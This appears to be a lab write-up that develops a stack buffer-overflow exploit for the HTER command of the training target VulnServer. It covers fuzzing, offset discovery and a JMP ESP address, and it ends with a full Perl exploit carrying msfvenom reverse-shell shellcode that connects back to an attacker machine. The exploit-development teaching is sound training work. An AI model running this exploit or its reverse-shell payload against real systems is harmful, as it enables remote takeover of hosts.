VulnServer: developing an exploit for HTER

We can fuzz the command using the following spike template:

s_readline();
s_string("HTER ");
s_string_variable("COMMAND");

The application crashes after a while.

We can replicate the crash by sending a buffer of 3000 A. You can find the PoC script here:

#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket::INET;

my $host = "192.168.1.121";
my $port = 9999;

my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                 PeerPort => $port,
                                 Proto    => 'tcp');

$sock->send("HTER " . "A" x 3000 . "\n");
close $sock;

The crash looks quite strange:

crash with A

We see that EIP has been overridden, but not by 41, as usually happens, but by AA, which means the application interprets every character as the digit of an hex value.

If we now send, as usually we would do, a unique string generated with msf-pattern_create, the application wouldn’t crash, because the input will be truncated at the first non hex digit.

We can create a unique string composed only by hex digits:

# msf-pattern_create -l 3000 -s ABCDEF0123456789,ABCDEF123456789,ABCDEF0123456789

I removed 0 from the second set because otherwise my string will have a null byte at some point. Our script will now look like this:

#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket::INET;

my $host = "192.168.1.121";
my $port = 9999;

my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                 PeerPort => $port,
                                 Proto    => 'tcp');

my $unique = "AAAAABAACAADAAEAAFAA0AA1AA2AA3AA4AA5AA6AA7AA8AA9ABAABBABCABDABEABFAB0AB1AB2AB3AB4AB5AB6AB7AB8AB9ACAACBACCACDACEACFAC0AC1AC2AC3AC4AC5AC6AC7AC8AC9ADAADBADCADDADEADFAD0AD1AD2AD3AD4AD5AD6AD7AD8AD9AEAAEBAECAEDAEEAEFAE0AE1AE2AE3AE4AE5AE6AE7AE8AE9AFAAFBAFCAFDAFEAFFAF0AF1AF2AF3AF4AF5AF6AF7AF8AF9A1AA1BA1CA1DA1EA1FA10A11A12A13A14A15A16A17A18A19A2AA2BA2CA2DA2EA2FA20A21A22A23A24A25A26A27A28A29A3AA3BA3CA3DA3EA3FA30A31A32A33A34A35A36A37A38A39A4AA4BA4CA4DA4EA4FA40A41A42A43A44A45A46A47A48A49A5AA5BA5CA5DA5EA5FA50A51A52A53A54A55A56A57A58A59A6AA6BA6CA6DA6EA6FA60A61A62A63A64A65A66A67A68A69A7AA7BA7CA7DA7EA7FA70A71A72A73A74A75A76A77A78A79A8AA8BA8CA8DA8EA8FA80A81A82A83A84A85A86A87A88A89A9AA9BA9CA9DA9EA9FA90A91A92A93A94A95A96A97A98A99BAABABBACBADBAEBAFBA0BA1BA2BA3BA4BA5BA6BA7BA8BA9BBABBBBBCBBDBBEBBFBB0BB1BB2BB3BB4BB5BB6BB7BB8BB9BCABCBBCCBCDBCEBCFBC0BC1BC2BC3BC4BC5BC6BC7BC8BC9BDABDBBDCBDDBDEBDFBD0BD1BD2BD3BD4BD5BD6BD7BD8BD9BEABEBBECBEDBEEBEFBE0BE1BE2BE3BE4BE5BE6BE7BE8BE9BFABFBBFCBFDBFEBFFBF0BF1BF2BF3BF4BF5BF6BF7BF8BF9B1AB1BB1CB1DB1EB1FB10B11B12B13B14B15B16B17B18B19B2AB2BB2CB2DB2EB2FB20B21B22B23B24B25B26B27B28B29B3AB3BB3CB3DB3EB3FB30B31B32B33B34B35B36B37B38B39B4AB4BB4CB4DB4EB4FB40B41B42B43B44B45B46B47B48B49B5AB5BB5CB5DB5EB5FB50B51B52B53B54B55B56B57B58B59B6AB6BB6CB6DB6EB6FB60B61B62B63B64B65B66B67B68B69B7AB7BB7CB7DB7EB7FB70B71B72B73B74B75B76B77B78B79B8AB8BB8CB8DB8EB8FB80B81B82B83B84B85B86B87B88B89B9AB9BB9CB9DB9EB9FB90B91B92B93B94B95B96B97B98B99CAACABCACCADCAECAFCA0CA1CA2CA3CA4CA5CA6CA7CA8CA9CBACBBCBCCBDCBECBFCB0CB1CB2CB3CB4CB5CB6CB7CB8CB9CCACCBCCCCCDCCECCFCC0CC1CC2CC3CC4CC5CC6CC7CC8CC9CDACDBCDCCDDCDECDFCD0CD1CD2CD3CD4CD5CD6CD7CD8CD9CEACEBCECCEDCEECEFCE0CE1CE2CE3CE4CE5CE6CE7CE8CE9CFACFBCFCCFDCFECFFCF0CF1CF2CF3CF4CF5CF6CF7CF8CF9C1AC1BC1CC1DC1EC1FC10C11C12C13C14C15C16C17C18C19C2AC2BC2CC2DC2EC2FC20C21C22C23C24C25C26C27C28C29C3AC3BC3CC3DC3EC3FC30C31C32C33C34C35C36C37C38C39C4AC4BC4CC4DC4EC4FC40C41C42C43C44C45C46C47C48C49C5AC5BC5CC5DC5EC5FC50C51C52C53C54C55C56C57C58C59C6AC6BC6CC6DC6EC6FC60C61C62C63C64C65C66C67C68C69C7AC7BC7CC7DC7EC7FC70C71C72C73C74C75C76C77C78C79C8AC8BC8CC8DC8EC8FC80C81C82C83C84C85C86C87C88C89C9AC9BC9CC9DC9EC9FC90C91C92C93C94C95C96C97C98C99DAADABDACDADDAEDAFDA0DA1DA2DA3DA4DA5DA6DA7DA8DA9DBADBBDBCDBDDBEDBFDB0DB1DB2DB3DB4DB5DB6DB7DB8DB9DCADCBDCCDCDDCEDCFDC0DC1DC2DC3DC4DC5DC6DC7DC8DC9DDADDBDDCDDDDDEDDFDD0DD1DD2DD3DD4DD5DD6DD7DD8DD9DEADEBDECDEDDEEDEFDE0DE1DE2DE3DE4DE5DE6DE7DE8DE9DFADFBDFCDFDDFEDFFDF0DF1DF2DF3DF4DF5DF6DF7DF8DF9D1AD1BD1CD1DD1ED1FD10D11D12D13D14D15D16D17D18D19D2AD2BD2CD2DD2ED2FD20D21D22D23D24D25D26D27D28D29D3AD3BD3CD3DD3ED3FD30D31D32D33D34D35D36D37D38D39D4AD4BD4CD4DD4ED4FD40D41D42D43D44D45D46D47D48D49D5AD5BD5CD5DD5ED5FD50D51D52D53D54D55D56D57D58D59D6AD6BD6CD6DD6ED6FD60D61D62D63D64D65D66D67D68D69D7AD7BD7CD7DD7ED7FD70D71D72D73D74D75D76D77D78D79D8AD8BD8CD8DD8ED8FD80D81D82D83D84D85D86D87D88D89D9AD9BD9CD9DD9ED9FD90D91D92D93D94D95D96D97D98D99EAAEABEACEADEAEEAFEA0EA1EA2EA3EA4EA5EA6EA7EA8EA9EBAEBBEBCEBDEBEEBFEB0EB1EB2EB3EB4EB5EB6EB7EB8EB9ECAECBECCECDECEECFEC0EC1";
$sock->send("HTER " . $unique . "\n");
close $sock;

hex offsets

The service crashes, and EIP has the value 743CC772.

Because x86 is little-endian, the string I have to look for is 72C73C74. We can copy our unique hex string on any text editor and look for our string, any normal text editor will tell us at what character of the line we are.

(I will try to remember to add the correct sntax to do it with some other tools, I didn’t manage to quickly get it with msf-pattern_offset)

EIP is at offset 2041. We now check if we can actually control EIP. Our script will look as follows:

#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket::INET;

my $host = "192.168.1.121";
my $port = 9999;

my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                 PeerPort => $port,
                                 Proto    => 'tcp');

my $payload = "A" x 2041;
$payload .= "BBBBBBBB";
$payload .= "c" x (3000 - length($payload));


$sock->send("HTER " . $payload . "\n");
close $sock;

Turns out we can override EIP, and if we dump ESP we will find our buffer of C:

eip override

We can now proceed as for a normal buffer overflow. We find a JMP ESP instruction:

mona find jmp esp

We can use the first address: 625011AF. And we can pur our payload just after this value in our payload.

Our payload will take twice as much space as normal payload, as we have to send every characters of the hex string separetely.

We can generate our payload as follows:

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f c | grep -v unsigned | tr -d '";\\x\n' | tr '[:lower:]' '[:upper:]'

And paste it in our exploit, which will now look as follows:

#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket::INET;

my $host = "192.168.1.121";
my $port = 9999;

my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                 PeerPort => $port,
                                 Proto    => 'tcp');

my $payload = "A" x 2041;
# JMP ESP in essfunc.dll at 0x625011af
$payload .= "AF115062";

# a few nops
$payload .= "90" x 10;

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f c | grep -v unsigned | tr -d '";\\x\n' | tr '[:lower:]' '[:upper:]'
$payload .= "DBDED97424F45E29C9BA31D115ABB15283EEFC3156130367C2F75E7B0C75A083CD1A2866FC1A4EE3AFAA04A143404851D72445565082B35961BF80F8E1C2D4DAD80C291B1C70C049F5FE777D724A44F6C85ACCEB995DFDBA9207DD3D763C54259B792EDE6FF5B136BEF61E770E055EB0A9F615C8C98B2D0FB357BB8B13131B77A5F0FAFCA9BD895AAE405DD1CAC960355B8946910749E680ED3C17D24DE0BD9960F5CFC0EC3AE2FAEC547589DEFB2D055373E8D294AE4C4C6B51AD45A805FDFD192696FDA6F339AD08ACF91DE91C9277E64382782CEC2983A7D3068A4FBC548CBEEBD06AAA03B52543BD9CBDF2420BB835C8B83DFB39B42D6CCA830F3BD53927A744A6B7AE7471E0E74B88641AF5229AE7630C1E3C50939FB1ECB78F0FECF3FBDFBBAD55A6151C0F70C9F6C70521C991096CBF7DBBD98682748E0EFB682EF0D6284E13F244E78A97E46A2D422A93AE66D360AE03D62D68F8AA3E1DFE193E34";

$payload .= "C" x (3000 - length($payload));


$sock->send("HTER " . $payload . "\n");
close $sock;

We can place a breakpoint at our JMP ESP instruction and inspect the stack:

payload in esp

Our payload has been correctly stored in memory. We can let the application run and get our shell.

final shell